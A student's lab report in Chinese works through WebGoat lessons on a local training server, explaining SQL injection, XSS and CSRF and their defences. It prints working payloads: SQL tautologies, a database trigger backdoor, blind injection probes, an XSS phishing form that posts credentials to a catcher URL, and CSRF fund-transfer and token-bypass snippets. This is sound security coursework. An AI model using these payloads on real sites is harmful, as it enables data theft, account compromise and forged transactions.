20154312 曾林 EXP9 Web安全基础
目录
-0.webgoat Could not find source file
-1.基础问题回答
-2.环境配置
-3.Injection Flaws
----3.1.Numeric SQL Injection
----3.2.Log Spoofing
----3.3.XPATH Injection
----3.4.String SQL Injection
----3.5.LAB: SQL Injection
----3.6.Database Backdoors
----3.7.Blind Numeric SQL Injection
----3.8.Blind String SQL Injection
-4.Cross-Site Scripting (XSS)
----4.1.Phishing with XSS
----4.2.Stored XSS Attacks
----4.3.Reflected XSS Attacks
-5.CSRF
----5.1.Cross Site Request Forgery(CSRF)
----5.2.CSRF Prompt By-Pass
----5.3.CSRF Token By-Pass
-6.实验总结与体会
webgoat Could not find source file
-
推测问题出在JDK版本上
-
先确认Kali的JDK版本
-
"9.0.4"
这个版本对于WebGoat7.1来说过高了,我们只要把JDK换成1.8就i行了 -
参照教程按步骤一步一步来即可
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
- 防御:
- 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
- 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
- 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
- sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。
(2)XSS攻击的原理,如何防御
- 原理:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
- 防御:
- 基于特征的防御:统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击
- 基于代码修改的防御:和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免:
- 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
- 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
- 确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。
(3)CSRF攻击原理,如何防御
- 原理:CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
- 防御:
- 对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
- “双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。
环境配置
-
将webgoat的java包下载好之后,使用命令
java -jar webgoat-server-8.0.0.M14.jar
运行WebGoat -
使用浏览器打开http://localhost:8080/WebGoat,进入WebGoat
Injection Flaws
Numeric SQL Injection
- F12打开浏览器调试模式,通过修改该,Columbia对应值,使得最后传回去的SQL语句变为
SELECT * FROM weather_data WHERE station = 101 OR 1=1
- 1=1恒成立,即可看到所有城市天气
Log Spoofing
- 日志伪造,,在Username输入
zh%0d%0aLogin Succeeded for username: admin
- %0d和%0a为换行符,这样就就伪造了内容为
Login Succeeded for username: admin
的日志
XPATH Injection
- 直接构造永真式
20154312' or 1=1 or 'a'='a
String SQL Injection
- 构造一个永真式注入
zenglin' or '1'='1
- SQL语句变为
SELECT * FROM user_data WHERE last_name = 'zenglin' OR '1'='1'
LAB: SQL Injection
Stage1:String SQL Injection
-
这一题就一点小问题,输入框限制了MaxLength,把MaxLength改为一个合适大小之后,修改
password=' or'1'='1
,done
Stage3:Numeric SQL Injection
-
和Stage1一样,构造永真式登陆账户,登陆之后修改
employee_id
参数修改为101 or 1=1 order by salary desc
Database Backdoors
-
思路就是利用SQL语句注入一个后门,具体操作就是用
;
将原本填入文本框的语句变为两条SQL语句,实现注入后门的目的 -
先在User ID输入框输入
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
这样就实现了传入SQL语句CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
实现的功能就是创建新用户时,会自动将email选项填充为我指定的邮箱
Blind Numeric SQL Injection
-
盲注,顾名思义就是啥都不知道瞎注,主要是看反馈信息来调整我们的输入来实现SQL注入的效果
-
数字盲注,在Enter your Account Number
输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
-
根据返回的提示来判断“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"
通过二分法缩小范围,最后用2364
提交成功
盲注,顾名思义就是啥都不知道瞎注,主要是看反馈信息来调整我们的输入来实现SQL注入的效果
数字盲注,在Enter your Account Number
输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
根据返回的提示来判断“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"
通过二分法缩小范围,最后用2364
提交成功
Blind String SQL Injection
-
相同思路,只不过这个是字符串盲注,在
Enter your Account Number
输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4312431243124312'), 1, 1) = 'h' );
根据返回提示判断name,最后输入JiLL
,爆破成功
Cross-Site Scripting (XSS)
Phishing with XSS
- XSS+HTML写一个简单的带表单网站,直接将下面的代码放入输入框,Enter,出现一个登陆框,输入
Username
和Password
之后会弹窗相关信息
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
LAB:Cross Site Scripting
Stage1:
-
登陆后,点击
View profile
后,在Street
字段输入以下代码:<script>alert("20154327");</script>
Stage3:
- 使用“David”登录,然后查看“Bruce”的信息,即可执行之前存储好的跨站攻击脚本
Stage5:执行一个反射XSS攻击
- 登陆后在
Search Staff
中输入“”
Stored XSS Attacks
-
存储式XSS攻击,也是最经典的,用过将脚本语句放入留言框存储起来,进行攻击
-
本题直接在Title里输入
任意信息
,在 Message里输<script>alert("20154327yangzhenghui!");</script>
-
再点击留言板内容
Reflected XSS Attacks
-
反射XSS攻击中,利用脚本制造一个URL提交到另外一个网站,实现攻击,直接在
Enter ur three digit access code
中输入脚本,实现攻击
CSRF
Cross Site Request Forgery(CSRF)
-
这是一个发送邮件的页面,我们只需要在Title输入
任意信息
,在Message输入:<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
点击Submit
,Message List
就会出现一条提交的记录
CSRF Prompt By-Pass
- 一样的思路,Title输入
任意信息
,Message输入:
<iframe
src="attack?Screen=280&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
CSRF Token By-Pass
- 还是相同的思路,Title输入
任意信息
,在Message输入代码,submit
<script>
var tokensuffix;
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script>
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
实验总结与体会
这是最后一次实验了,实验会结束,但是我大概是看不到互联网上的网络攻防结束的那一天,很感谢老师,让我有机会享受一门很纯粹的技术课程。谢谢!